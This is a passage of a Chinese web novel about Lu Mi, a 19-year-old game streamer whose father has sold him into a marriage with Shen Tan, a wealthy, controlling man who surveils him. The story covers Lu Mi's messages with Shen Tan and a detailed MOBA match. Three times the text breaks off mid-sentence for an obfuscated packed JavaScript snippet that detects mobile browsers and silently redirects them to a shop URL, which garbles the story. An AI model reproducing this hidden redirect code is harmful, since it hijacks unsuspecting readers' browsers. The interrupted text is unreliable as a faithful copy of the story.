盯着那件属于沈谈的大衣看了好一会儿,路弥才慢慢地慢慢地背靠着门滑落下去,双手环抱住膝盖把脸埋进膝窝,一直努力维持着镇静的神情也终于能够卸下,他抿紧唇睁着眼发着抖眼皮不断地颤动着,呼吸时重时轻,无法保持正常规律。 今晚发生的一切还历历在目,事情已经完全脱离了他的设想。 他原本以为自己可能会再也走不出那家餐厅,却没想到路南德口中的人变成了沈谈。 沈谈的行为举止虽然看起来不像是个好人,可至少并不像路南德把他卖给的那个人一样。 路弥不是傻子,知道路南德的离开意味着什么,路南德早就把自己卖掉了,什么联姻,大概也只是个幌子。 一个五十岁品性恶劣的男人,怎么会选择跟他联姻,多半只是为了玩。 路南德并不在意他的死活。 路弥自己也不在意,他只是想救活公司。 他知道会面对什么。 只是还是会害怕,会恐惧。 可现在那个人换成了沈谈。 他不知道沈谈到底会如何对待自己,说是要结婚,又到底是不是真的要结婚,还让自己搬过去和他住。 同样也是未知的恐惧。 沈谈又是为了什么? 沈谈这样的人想要从他身上得到什么? 路弥摸了摸自己的脸。 除了脸,好像没有其他东西值得了。 他们都是一样的。 沈谈和那个五十岁的男人。 可他现在还好好活着。 那就好好活着。 路弥闭了闭眼,手撑着门站起来,腿有些发软,他只能慢吞吞走进卧室。 路弥租的房子并不大,从上大学开始路南德就没给过他生活费,学费和生活费都是路弥自己打工赚钱,房子只有一客一厅一卫,卧室也比较小,卧室里只有一张床和一张电脑桌,一台并不怎么新的台式电脑。 电脑桌后面有个窗户,从窗口能看见小区外面的路。 路弥看过去,正好看见沈谈的车从那里经过。 愣了下,路弥连忙坐到椅子上,打开电脑点开直播软件。 后台瞬间跳出不少私信。 “你好主播迷路,请问有兴趣打职业吗?我们战队目前正在招收青训生 ,有意向可以联系我。” 水木:“今天也不直播吗迷路弟弟!!!” 发这条消息的是路弥的一个主播好友。 路弥如今大二,他性格内向又不怎么爱说话,并不适合做那些需要每天面对人的兼职,直播是最适合他的工作。 路弥玩的是时下最热门的MOBA竞技网游《目的地》。 他不露脸,也不怎么爱说话,但因为技术好,偶尔说几句话声音又好听,是非常干净偏软的青年音,也收获了一些粉丝,每个月能拿到保底的工资,足够他支付房租和学费生活费。 前天被路南德喊回了家,路弥直播请了假,也没有说什么时候回来直播。 路弥往上翻了翻,水木几乎每天都问他今天会不会直播。 路弥连忙回:“今天会播。” 这个时间正是水木直播的时间点,消息发过去后水木并没有立马回复,路弥也没有在意,正准备继续往下翻粉丝给他发的消息,就有接连几条公会管理的消息跳了出来。 “我看见你上线了!!为什么不回我消息?” 路弥看了下之前管理给他发的消息。 “你请假都不跟我商量的吗?这个月全勤的钱不会给你了!” “跟阿墨的双排考虑得怎么样?你能不能别每次都拒绝?阿墨跟你都是我们公会的,你也知道现在捆绑卖个腐热度多高吧?你该不会一直就准备这么不温不火下去吧?我们公会养不起脾气大的小主播!你要是想赚钱这次就好好听话,阿墨那边已经答应了。” 阿墨是路弥他们公会的一个大主播,路弥之前散排的时候排到过他一次,不知道是公会授意还是阿墨本身意愿,那把游戏路弥玩的打野,阿墨玩的辅助,本来阿墨应该跟着射手走,但那把游戏阿墨一直跟在路弥身边,他们玩的还是著名的情侣英雄,自然引起了不少反响。 游戏结束,路弥直播间多了不少观众,阿墨还邀请他打下一把游戏。 路弥没犹豫就拒绝了。 他并不喜欢和人组排打排位赛,哪怕是关系很好的水木,他们也很少会一起打排位。 路弥拒绝阿墨的事情不知怎么回事被公会那边知道了,公会管理马上联系他,希望他能和阿墨捆绑。 捆绑的意思无疑就是卖腐。 如今直播行业竞争也很激烈,就算是阿墨这样的大主播,也要想方设法创造热度。 但路弥不喜欢这样。 他之前已经选择性无视了管理这种要求,没想到管理还没放弃。 犹豫了一会儿,路弥敲字:“抱歉,我已经结婚了,不方便和别人搞暧昧。” 管理很快回复:“结婚?你不是才十九岁?结什么婚?有必要骗我吗?又不是真的让你搞暧昧!你不会演戏吗?” 管理很生气。 骗他也没必要用这种骗法。 虽然如今国家为了推进结婚率,把法定结婚年龄改成了十九岁,但现在基本没什么人会在这么小的年纪就结婚。 又不是那些穷到需要卖孩子的家庭。 一开始公会签下路弥就是看中他有潜力,技术好、声音又好听,没想到都两年了,路弥依然什么名气。 他们公会自然不想管这种没什么名气的小主播,但阿墨找上了他们,表示自己愿意提拔一下路弥。 看着管理发来的消息,路弥垂着眼抿了抿唇。 他确实不太会,也并不喜欢和别人打交道,更别说要他去和别人伪装暧昧。 不知怎么回事,路弥想起了沈谈。 他下意识低头看向自己的右手。 那时候在餐厅里,沈谈抓着他的右手抓了很久,上面留下了淡淡的红色的痕迹。 现在已经褪掉了。 但那种感觉还在。 沈谈的掌心是粗糙的,温度很高,力气也很大。 握住他手的时候,他根本没办法挣脱开。 手上逐渐传来麻意,路弥身体抖了下,这才回过神来,看见管理又发来的一连串骂他的消息,正想回复一句自己确实结婚了。 只是还没领证,而结婚对象大抵是个很可怕的人。 因为沈谈,路弥也并不想去和别人假装搞暧昧。 他怕惹怒沈谈。 像沈谈这样的人,惹怒他的后果,路弥大概能猜到。 沈谈想要对他做什么,他是没办法反抗的,只能顺从。 字还没打出去,放在一旁的手机突然震了一下。 路弥下意识偏头看了眼。 手机屏幕亮着,屏幕上跳出来一条短信。 “我是沈谈,忘记问你了,有没有什么需要添置的东西,我让人去买。” 愣了几秒,路弥犹豫着拿起手机回复:“没有的,沈先生。” 他也并不敢有什么要求。 在路家,路弥住的房间是以前的杂物间改的,很小,只有一张狭小的硬板床,一个很小很高的窗户。 以前路弥放学回家,做作业都是搬了张小板凳坐在床边写。 但他也已经睡习惯了。 他现在的出租屋也是很小的硬板床。 对于住的地方,他并没有任何要求,只要能够睡觉就可以。 只是不知道沈谈会让他住在什么样的地方。 会是杂物间,还是别的什么地方。 “对床有什么要求吗?我个人喜欢更大更软的床。”沈谈的消息回复得很快,路弥明明记得他说还有个饭局。 但路弥也没敢问沈谈怎么会有时间给自己发消息,只是不解地打字问:“什么意思?” “你认为我们需要分床睡吗?”沈谈的语气看起来并不友善。 路弥下意识想起沈谈那张看起来就让人害怕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727530|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,连忙打字:“对不起沈先生,我没有反应过来。” 他并不是没反应过来,只是不敢确认。 和沈谈睡一起。 路弥垂着眼,手指不停地摩挲着手机屏幕。 沈谈拿着手机靠在沙发上,他面前的笔记本屏幕上还在放着餐厅监控,他走之后路弥一个人坐在位置上,表情明显轻松了很多。 不过,沈谈猜想,路弥现在定然惊慌又无措。 像好不容易等到令他害怕的猛兽离开能够独自缓解,结果猛兽又去而复返的小型动物那般,瑟瑟发抖。 沈谈勾了勾嘴角。 “还以为你并不想跟我睡,既然同意了,那么对床有什么要求吗?” 看见沈谈的新消息,路弥的心一点点沉下去。 虽然他已经做好了这种准备,但面对这么直白的暗示,他还是忍不住慌乱。 而且沈谈说什么同意,分明并没有问过他的意见。 也并不需要他的意见。 路弥:“没有。” “其他东西,有吗?” 路弥现在只想把手机扔到一旁,但沈谈的消息他又不得不回,“没有。” 这回沈谈并没有秒回,路弥短暂松了口气,情绪却还是没有得到缓解。 他抬起头,恰好看见水木回了自己消息。 水木:“那你怎么还没开播!” 路弥下意识想回马上,字没打出去,又犹豫了。 大一的时候他为了直播才特意出来租了房子,本来他也可以为了省电房租水电回路家直播,但是路南德肯定不会允许他这种行为。 那么他搬去和沈谈住以后,是不是也不能直播了? 那样的话,他就没有收入来源了,交不起学费,也吃不起饭。 他并不指望沈谈会给自己交学费,会给自己生活费。 除了自己,路弥知道谁都不能让他依靠。 可偷偷背着沈谈直播并不现实。 他们需要睡在一起。 路弥的直播时间是在晚上,他没办法向沈谈解释自己为什么会在晚上不停地坐在电脑前打游戏。 而且游戏直播对电脑要求很高。 那时候路弥想要台电脑来直播,迫于无奈找路南德要。 搬出路家之前,路弥记得他二哥有一台不怎么用的电脑,配置很好。 但被路南德拒绝了。 没有办法,路弥只能想别的办法。 好在他运气好像很好,又或许是凭着自己的长相,租到了现在这个房子。 他现在用的电脑是房东的,房东出国了,电脑也用不上,就搬来借给他用了。 当然,搬家的话,没办法搬走。 所以他要是想继续直播,还得重新买一台电脑,只是他现在的存款,只够生活费。 似乎,也只能求助沈谈。 但是……但是万一呢? 他们都要睡一起了,沈谈都那么问他了。 路弥咬了咬下唇,好一会儿才鼓足勇气,试探着给沈谈发过去一句:“沈先生,请问我可以要一台电脑吗?” “想要做什么?”沈谈回得很快,刚刚似乎是在故意晾着他。 但答案也在路弥的意料之中。 并没有答应。 那时候路南德也是这么问的。 路弥并没有告诉路南德自己要做什么,路南德并不会支持他,也不会理解他。 沈谈这样的人,应该是不会打游戏的,也并不会理解这些。 只是现在……如果他想继续直播,这是唯一的办法了。 必须得得到沈谈同意。 “我想做游戏直播,可以吗沈先生?” 沈谈放下手中的资料。 资料上,写着路弥这些年来上过的学校、在路家的状况,包括,他在做游戏主播的事情。 资料很早就送到了沈谈手中。 只要他想查,就什么都能查到。 半晌,路弥手机再次亮起。 沈谈:“当然可以,你想要什么,我都会给你。” 5. 玩乐 看见沈谈这句话,路弥晃了下神。 从小到大,没有人对他说过这种话。 他想要什么,就会给他。 只是这种话从沈谈这样的人口中说出来,路弥并不会当真。 对沈谈来说,跟他结婚大概只是一时的玩乐而已,他们这样的身份地位的人,并不在乎婚姻,就算是结了婚,也可以和别人在一起。 不过有那么一瞬间,路弥还是高兴的。 路弥唇角微微往上扬了扬,给沈谈发了句:“谢谢沈先生。” 沈谈没有再回复。 路弥反倒是松了口气。 他放下手机,给水木回了条消息告诉他自己现在就开播,选择性忽略了公会管理又发来的一堆谴责他的话,连忙打开游戏开了直播。 他请了两天假,就需要把请假的时长补回来,不然这个月的保底工资会被扣下。 公会管理虽然拿全勤威胁他,但他们签了合同,不给工资是违法的。 路弥粉丝不算特别多,但也有不少死忠粉守在直播间,他一开播,弹幕立马热闹起来。 [迷路弟弟终于开播了吗!!!] 路弥直播名和游戏名都叫“迷路”。 路弥瞥了眼弹幕小声说:“大家晚上好。” [今天到现在为止说了五个字了,让我们来数一数一共会说几个字] 路弥笑了声,声音很轻,听起来像是猫很轻地哼了一声。 [是笑了吗?好可爱!有姐妹录屏了吗!!麻烦发给我!!] [不是国服第十吗?能不能好好打游戏?什么乱七八糟的] 两天前路弥的荣誉排名是第十名,但荣誉排名榜竞争激烈,而且排名在前面的基本都是职业选手,很少有像路弥这样的路人王,一天不打,被挤下十名都是很正常的事情。 路弥刚刚已经看过,自己掉到了第十五名。 大概是因为最近职业比赛在即,榜上的职业选手都在忙着训练,没时间冲分。 没怎么犹豫,路弥先开了把匹配赛找手感。 [什么意思?为什么不打排位?] [是不是挂被封了这两天才没直播?现在不敢打排位赛了怕露馅?] 游戏还没进去,路弥还没有关掉弹幕。 《目的地》已经火了好几年,虽然游戏反外挂系统做得很好,但架不住现在科技发达,外挂也跟着一并发展。 两天前隔壁直播平台抓到了一个开外挂上荣誉排名前二十的主播,路弥当时只听水木提了一嘴,并没有过多关注。 他抿了抿唇,轻声道:“不是,只是找找手感。” 语气很柔软,就算是反驳也听不出来什么威慑力。 [迷路怎么可能会开挂??他都当了多久的路人王了] [没开挂怎么不去打职业?听起来年纪也不大] 不管什么直播间都会有这种节奏,路弥视线在打职业上停了片刻,关掉了弹幕。 游戏已经进入了选英雄界面。 和传统的moba游戏大同小异,《目的地》是一款双方对战的游戏,分为红蓝双方,每局游戏守住己方据点的阵营为胜利。 游戏开始后会随机进入一张地图,地图背景不同但分布相同,分为上中下野四区,上中下三区每方分别各持有三把旗子,每把旗子都有一定的防御,打破第一把旗子的防御即可攻击第二把旗子,以此类推,哪路三把旗子都被敌方攻下,敌方就可以攻击据点。 而双方都有各自的一半野区,随机刷新野怪和红蓝双buff,以及到十分钟开始会刷新给全队增益buff的大野。 野区视野更加隐蔽,但也可以随意进出。 根据游戏玩法,《目的地》的英雄也分为坦克(上单)、法师(中单)、射手(下单)、辅助(游走)以及刺客(打野)。 路弥主玩的就是打野位。 他很快选了个这赛季被削弱很厉害的打野英雄“野人”。 野人是游戏刚出时候的老牌英雄,也强势过一段时间,但这类游戏避免不了新旧更替,新英雄出现,旧英雄势必会被削弱,尤其这赛季,野人已经被削得从一刀流刺客变成一刀流脆皮了。 路弥之前也很少玩这个英雄,他打排位冲分一直求稳。 但现在是匹配,他想练英雄。 虽然练英雄对他来说也没什么用。 那条弹幕没说错。 他没办法打职业,虽然并不是因为年纪,也不是因为开挂。 只是当个普通的主播,英雄池再深也没什么大用。 路弥握紧了鼠标,还是点了确认。 他关了弹幕,也就没注意到此刻弹幕比之前还热闹。 [又排到阿墨了,这是什么缘分] [昨天阿墨还在说要是他排到的打野都能像迷路哥哥一样厉害就好了] [啊?哥哥?阿墨是没听过路弥说话吗?没见识过路弥被人骂的时候只会低声说不要吵架了吗?] [对不起我是阿墨粉丝,我确实不知道,哥哥是我喊的……] [我还以为阿墨要遇到比他更攻的男人了,结果上次玩那么厉害的打野居然是个弟弟?] [能不能不要在这里嗑cp啊?] 进了游戏,路弥也没有发现自家辅助是阿墨,直奔野区。 他刷野速度很快,哪怕是用野人这种早就被淘汰的旧英雄,他也有自己的一套体系。 但野人现在太脆皮,没办法进对方野区,路弥刷完自家野,帮中路清了几波线,收了对面中路几个头。 敌方法师:什么意思?打野从哪里冒出来的?辅助为什么不过来帮忙? 敌方射手:你能不能好好躲在旗子下面? 敌方打野:谁吃了我的野?射手是你吗?我刚刚看见你从那边过来! 敌方射手还没来得及打字,尸体就已经躺下了。 路弥一声不吭钻进了草里,回到了自家野区。 敌方射手:对面打野开挂了?这年头谁玩野人玩成这样?没开挂我跟你姓 [打不过就开挂的言论又来了] [阿墨又要跟迷路连体了吗?阿墨你好爱他!] 我方辅助:菜就多练,躺在地上打字显得你很能耐? [阿墨你好爱他!] 匹配局队友水平参差不齐,路弥他们这边只有他和辅助还是正战绩,路弥看了眼下路被清空血量的射手,在己方频道打字:辅助你跟着我吧。 前期他有优势,但野人这个英雄后期太脆皮,对面一旦针对他,没有辅助跟着很难自保,更何况他们这边的射手现在已经发育不起来了。 [这是双向奔赴吗?] 跟路弥预想的一样,一到十五分钟,他就很难再抓落单。 而且对面的坦克虽然玩的是半肉半输出职业,但出的全是输出装备,坦克全程在发育,路弥一开始并没有跟他正面刚。 但队友打了一波团,人头全被对面坦克拿了。 坦克的操作意识都很好,而且现在已经发育起来了。 弹幕也发现了。 [等等这个坦克id是不是那个表情包战队的打野?] [你是说这赛季连季中赛都没打进的那个表情包战队吗?好像是他,这是他大号吧?] 而敌方频道。 黑角(敌方坦克):我去解决打野,他打不过我,野人这个英雄已经废了,对面打野操作一般 黑角前期一直在发育。 他们战队这赛季没打进季中赛,士气低迷,打匹配也是为了缓解压力。 只是平时高端局打多了,没想到队友这么菜,被一个那么弱的老英雄打成那样,还抢了他的打野位。 但他现在在直播,并不能骂人。 十五分钟,大野刷新,路弥本来想集合抢野,但除了他跟辅助,其他人团灭了。 第一个大野只能放弃,但局势已经完全扭转过来,现在就算他带着辅助,也只能先苟着。 [完了要输了] [太自私了自己把资源吃光了,队友哪里发展得起来] [你在说什么?这队友哪里值得让资源?迷路平时都是和平发育的好吗?] 二十分钟,路弥他们这边下路的旗已经被打到最后一把,只剩下一半血,而队友已经又被团灭了。 敌方法师:你们打野呢?怎么当缩头乌龟了? 敌方射手:辅助刚刚不是还喜欢叫吗?现在已经也躺了? 射手还在辅助的尸体上跳起了舞。 我方辅助:狗仗人势 从他们的角度看,路弥依然在躲着。 [我草宝宝你是准备一个人冲进去吗?] [居然换了隐身甲和复活甲,卖掉的话钱也还够换一件不死甲] 不死甲可以让血量保持百分之一五秒钟,而隐身甲可以在战斗状态脱战且隐身两秒,复活甲则是死亡后可以立即复活。 但是对面有五个人。 [一打五,不太可能] 敌方坦克:对面打野要不要投降? 路弥没有搭理,在己方旗子还剩下一丝血皮的时候,直接开了狂暴技能,冲向了敌方站在一起的法师和射手。 他操作太快,敌方都没反应过来,而坦克已经直接在据点里了,根本没来得及过来。 法师和射手倒在了辅助阿墨身上。 阿墨也复活了。 我方辅助:哎呀 敌方射手:?他妈的开挂了吧? 路弥并没有停手,而是立马开了隐身,在敌方坦克冲回来的时间里,靠走位躲掉敌方打野大招,并收下了打野人头,自己也倒下了。 还剩下敌方坦克和辅助,己方打野和辅助。 己方辅助是脆皮,敌方辅助有回血技能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727531|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直接把坦克被据点打掉的血回满了。 路弥没犹豫,倒地的瞬间换了不死甲,复活后,立马冲向敌方坦克。 [打不过,野人被削得太狠了,坦克还有个复活甲] 路弥专心注意看坦克的走位,在他出招的瞬间,靠走位躲掉了致命伤害。 但血量还是掉了一半。 而他的大招还有两秒CD。 路弥抿了抿唇,表情却并不慌乱。 他数着时间。 一秒。 坦克的二段位移打了上来。 路弥二段位移到了敌方辅助身上,敌方辅助直接半血。 [放弃吧,对面还有复活甲] 两秒。 路弥目标切换成坦克,坦克的目标也切换成了他,开始读条伤害技能。 但路弥的技能是顺发。 大招加普攻。 坦克空血,技能放了一半,直接倒下了。 路弥的血线还剩百分之十,直接普攻打掉了敌方辅助半血,辅助把回血技能给了自己。 他冷静地开麦:“辅助,对面复活的时候,可以给我套个狂暴buff吗?” [好软的声音] [我不能把这么粗狂的野人和迷路的声音联系在一起] [好冷静的打法,我还以为必死无疑了,不过阿墨也挡伤害了] [可能这就是爱的力量] 阿墨也开了麦,是个声音磁性的男声:“当然可以。” “谢谢。”路弥刚说完,敌方坦克复活,并且换上了不死甲。 同时路弥身上冒出红光,路弥并没有停顿,直接朝坦克使用了QR组合技能。 坦克反应似乎慢了零点几秒,硬生生扛下了技能。 此刻黑角的直播间。 “他只有脆皮了怎么可能打得过我。”黑角信心满满,但是下一秒自己的血线就几乎到了不死甲的临界点。 脏话差点脱口而出,黑角没思考就朝野人砸下了大招。 但野人似乎早就预料到他的走位,居然直接技能二段位移躲开了! 黑角直接呆住,脱口而出:“他妈的他是不是开什么自动判定了?” [职业选手不是都能做到预判吗?] [对面又不是职业选手,真这么厉害怎么不去打职业?] 黑角骂人的空当,路弥这边的队友已经全都复活了。 而敌方复活还剩下半分钟时间。 这半分钟,足以直接让局势扭转。 路弥并没有再和只剩丝血的敌方坦克纠缠,而是直接回据点回复状态。 队友再不行,也可以收下没有技能和状态的敌方坦克。 半分钟后,路弥他们收掉了敌方据点。 [居然赢了?] 游戏一结算,路弥就退了出来。 对于当前版本,野人还是太弱势,他刚刚看过,敌方除了坦克,其他人都是低段位。 但也可能是因为己方队友不够强势。 如果队友和对手都是专业选手的话,就能更好地测试野人到底适不适合出现在当前版本的战场。 但对他来说这不可能。 路弥抿了抿唇,重新打开弹幕。 [迷路宝宝你看一眼阿墨呀!!!阿墨加你好友了!!] [这叫什么,夫夫同心其利断金] 路弥打游戏专注,很少关注别的。 他看了眼好友界面,果然收到了阿墨的好友请求。 游戏结束后他才注意到本局辅助是阿墨。 但是想起管理的那些话,他并不想同意这个好友申请。 正在犹豫,直播界面突然提示:【主播阿墨进入了本直播间】 【主播阿墨送给主播迷路520花束】 [主播阿墨:赏个脸加个好友吗?] 【用户97654398送给主播999花束】X10 一个花束五块钱。 路弥平时收的礼物并不算多,这些对他来说已经是很大数额。 一时间路弥愣住了。 阿墨送了这么多,他好像没办法再拒绝。 但是这个用户……又是谁? 不止路弥愣住,原本在让路弥加阿墨的弹幕也愣住了。 一连送那么多999花束,是只有大主播才有的待遇。 路弥张了张嘴,正想说谢谢,手机亮了起来。 他偏头看了一眼。 沈谈:“游戏打得很厉害。” 沈谈这样的人,居然会……看直播? 沈谈是怎么知道他直播间的? 沈谈是不是一开始就知道? 就算他不主动提直播的事情,沈谈也知道。 路弥不由自主有些发抖。 手机再次震了一下。 沈谈:沈谈:“你想加他好友吗?” 6. 沈家 沈谈靠在办公椅上漫不经心把玩着手机,电脑上还放着直播。 手机没什么动静,直播间也没什么动静。 “目前市场上最值得收购的平台是亚日直播。”一旁的助理正在汇报市场评估。 从看见沈谈看直播开始,助理就立马将之前做过的关于直播行业的资料翻了出来。 沈家涉及产业广泛,但旗下确实还没有直播平台,只有几个很火的团播团队。 沈谈面不改色听着,手机终于震了下。 小动物:“不想。” 手机放到桌面,沈谈坐直身体,“这周之内交一份详细的评估报告给我。” 助理悄悄松了口气。 刚才老板一直没有说话,气压多少有点低。 他还以为老板对于自己私自做评估的事情不满。 - 见沈谈没有再回复,路弥紧绷的情绪松懈下来,终于能放下手机重新看向屏幕。 就是不知道沈谈是不是还在看他直播。 弹幕一半人在讨论那个送了很多花束的用户,一半人在让他加阿墨好友。 路弥握紧鼠标,“谢谢用户97654398送的9990朵花束,谢谢阿墨的520朵花束。” [阿墨你是不是爱上了!!!] [我记得阿墨以前说过理想型就是迷路这样的男生吧?] [阿墨你能不能好好直播!] [怎么还要大主播求着加你好友,脾气好大] [迷路哥哥我是你的技术粉!!] 看着乱糟糟的弹幕,路弥把鼠标挪到同意好友界面,“不要乱说,我已经结婚了,可以加好友的。” 他不想加,但是阿墨都在他直播间那么说了,还送了礼物,他不能不加,不然肯定会被骂。 路弥并不想惹事。 所以只能搬出已婚的理由。 [啊??我不信!!!] [结婚了?宝宝你这个声音成年了吗?] 路弥嗯了声,同意了阿墨的好友申请,又生怕阿墨拉自己打游戏,立马进入了排位赛界面。 [阿墨:真的?] 路弥又嗯了声,关掉了弹幕,安心打排位。 他没再看弹幕,弹幕却因为他说自己已婚的事情吵了起来。 [什么意思啊,就算是想拒绝阿墨,也不需要这么虚假的理由吧?] [又不是没加好友!迷路有必要在这种事情上说谎吗?] [吵这些干什么?我是来看技术的] [那谁知道?又不是不知道阿墨长得多帅,万一他是因为长得太丑自卑了才这么说呢?] 路弥的粉丝逐渐骂不过了。 毕竟阿墨确实是平台很有名的大主播,也露过脸,很帅。 但路弥不仅不怎么爱说话,也从来不开摄像头。 现在游戏直播竞争激烈,长得稍微有点姿色的主播都露过脸,长得瘦的主播都露过手,长得丑但技术好的大主播也会开摄像头。 很少有像路弥这样的。 路弥的粉丝逐渐沉默下来了。 路弥自己都不看弹幕,也不反驳这些话,他们也没必要和别人吵。 就在阿墨粉丝觉得自己说对了的时候。 【用户97654398送给主播999花束】X10 大家这会儿才发现用户97654398一直待在直播间没走。 这还是路弥第一个一次性送了这么多礼物的老板,路弥的粉丝立马又活过来了,连忙帮路弥谢谢老板。 他们一感谢,用户97654398就又刷了很多次礼物,每次都是10组999花束。 阿墨的粉丝逐渐闭嘴了。 这会儿阿墨直播间,一直没出声制止粉丝的阿墨才说:“不要去别人直播间乱带节奏,别人愿不愿意和我玩是个人自由,不过玩辅助还真是难找好队友啊。” [是他的问题!!你免费给他蹭流量他还不知好歹!] [就是!玩个打野而已!拽什么!人职业选手也没他这么拽!] [万一他是开挂的呢?不跟阿墨组排是怕被阿墨看出来吧?] 阿墨没再继续提路弥。 如果不是因为路弥声音是他喜欢的类型,他也不会这么三番两次找路弥。 没想到路弥这么拐弯抹角地拒绝他。 而用户97654398在直播间挂了一个晚上。 一直到路弥下线,他也没说过一句话。 一晚上,路弥只往上爬了一个名次。 打了一把匹配找手感,路弥一晚上发挥都很稳定,但是排名越高越难打。 下了直播,路弥才发现自己今天的礼物收入已经赶上了他直播以来的全部。 也足够他买配置很好的电脑了。 他愣了好一会儿才去看那个用户97654398的主页。 对方主页一片空白,唯一显示看过的直播就是他的。 而对方的ip地址和他一样。 犹豫好久,路弥拿出手机,给沈谈发了短信:“沈先生,是你给我刷的礼物吗?” 除了沈谈,应该没有别人了。 但沈谈没回。 路弥也一晚上没有睡好。 今天经历的事情太多,未知的事情也太多。 比如沈谈为什么会给他刷这么多礼物。 虽然那些钱对沈谈这种人来说,算不上什么。 第二天路弥被路南德的电话吵醒。 看见来电显示,路弥脑袋懵了一会儿,才按下接听。 电话那头马上传来路南德非常关心的声音:“怎么现在才接电话?没出什么事情吧?昨晚公司临时有事没来得及告诉你,手机又没电了。” 路南德总是说着很拙劣的谎言,以为自己会相信他。 路弥很困地把脑袋搭在膝盖上,低声回答:“没有。” “你现在在哪?沈先生在你身边吗?”路南德本来并不打算再找路弥,只是本来和那人约好今天上午会把余下的钱打给他,但一上午过去都没有动静,他也无法联系上对方,只能联系路弥。 不过他还以为路弥现在已经不能接电话了,没想到听声音应该是刚睡醒,也很正常。 路弥很快反应过来路南德口中的沈先生指的是谁。 并不是沈谈。 也许是因为一觉睡到中午一直没吃东西,路弥有些反胃。 沉默了一会儿,路弥才说:“他不在。” 不管是路南德口中的沈先生,还是沈谈,都不在。 但路弥没说自己在家。 路南德也并不在意路弥现在人在哪里,听见路弥说沈先生人不在,路南德表情一下变得很难看,语气里也掩饰不住的不耐烦,“他去哪儿了?” “我不知道。”路弥自始至终没见过那人。 “你!”路南德似乎想骂什么。 昨天路南德的温和是装出来的,路弥早就习惯了他现在对自己的这种态度,并没有在意,只是路南德似乎很急,在路南德把电话挂断前,路弥问:“公司资金还不够吗?” “够了,公司的事情你不用管,你好好听话就行。”没等路弥说什么,路南德就挂断了电话。 生怕路弥多问一句公司。 公司是路弥母亲留下来的,路南德跟路弥母亲结婚的时候还只是公司里不起眼的员工,婚后,路弥母亲就把公司交给了他管理,路南德本来还在想要怎么才能把公司弄到手,没想到路弥母亲在生下路弥后身体落下病根,没活两年就去世了,公司也落到了路南德手里。 但公司有路弥的股份,是他那个母亲临死前怕儿子在自己死后受到欺负而转给他的。 路南德一直没把这件事告诉路弥。 公司已经是路家的了,他不可能会再给路弥。 一分钱都不会。 而现在公司资金运转已经正常,但沈先生的钱还差一百万。 路南德还是联系不上人。 总不能是路弥吹了什么枕边风。 路南德眯了眯眼,如果真是这样,那他就有必要再见一见路弥了。 路弥抓着手机发了会儿呆,胃里恶心感还没褪去,他翻了翻消息。 沈谈还是没回复。 明天要搬去沈谈那边住,路弥不确定沈谈会不会真的给自己准备好电脑,再加上他这个月直播时长还不够,排名也掉了,路弥去洗了把脸吃了个面包,又坐到了电脑前开了直播。 今天用户97654398一直没来。 好在阿墨今天也没有来,虽然直播间弹幕依然会有节奏,也有人问他是不是真的结婚了,不过可能也是因为昨天节奏大,今天看直播的人数比之前多了几百。 路弥依然打了一下午加一晚上的排位赛,排名终于又前进了一名。 下播的时候已经是晚上十点多。 路弥坐在电脑面前发了会儿呆才去整理行李。 他并没有很多东西,衣服很少,其他东西更少。 把东西都收进行李箱,包括沈谈那件大衣,路弥仔仔细细看了看自己住了一年多的地方,但虽然要搬走了,他也没跟房东说。 他不知道沈谈的兴趣会持续多久,不知道自己会在沈谈那里住多久。 如果退租了,很难再找到这么便宜地段又好的房子了。 第二天路弥满课,一整天的课下来,他都没有收到任何沈谈的消息。 也许是把他忘了。 一下课路弥就立马回了住的小区。 还没进去,远远就看见一辆车停在他住的那幢楼楼下。 一辆很眼熟的车。 路弥脚步顿了顿,还没来得及走过去,驾驶位上就下来一个西装革履的男人。 路弥前天见过他,是给沈谈开车的人。 沈谈连他的直播间都知道,知道他住的地方也并不稀奇了。 男人似乎是发现了他才下车的,径直朝着他走过来,在他面前站定,朝他微微颔首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727532|144977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您好,路弥少爷,我是老板的私人助理,我叫周风。” 路弥后退了两步,还没说什么,周风就接着说:“老板昨天飞往X国开会,吩咐我今天来接您回家,您有什么要求都可以向我提。” 原来是出国了。 并不是把他忘记了。 路弥垂着眼摇头,“没有什么要求。” “我跟您上去拿行李。” 路弥张了张嘴,还是什么都没说,沉默地往出租屋走。 周风一直跟在他身后,跟他保持着一定距离。 等路弥拉着行李箱出来,周风直接接过了行李箱,“您直接走就好。” 上了车,路弥也还是没什么实感,坐在车上,他看着住了一年多的小区越来越远,车窗外的风景也越来越陌生。 一直到进了本市最贵的别墅区。 车在一幢小型别墅楼前停下,别墅区很安静,路灯的光似乎都比其他地方更漂亮。 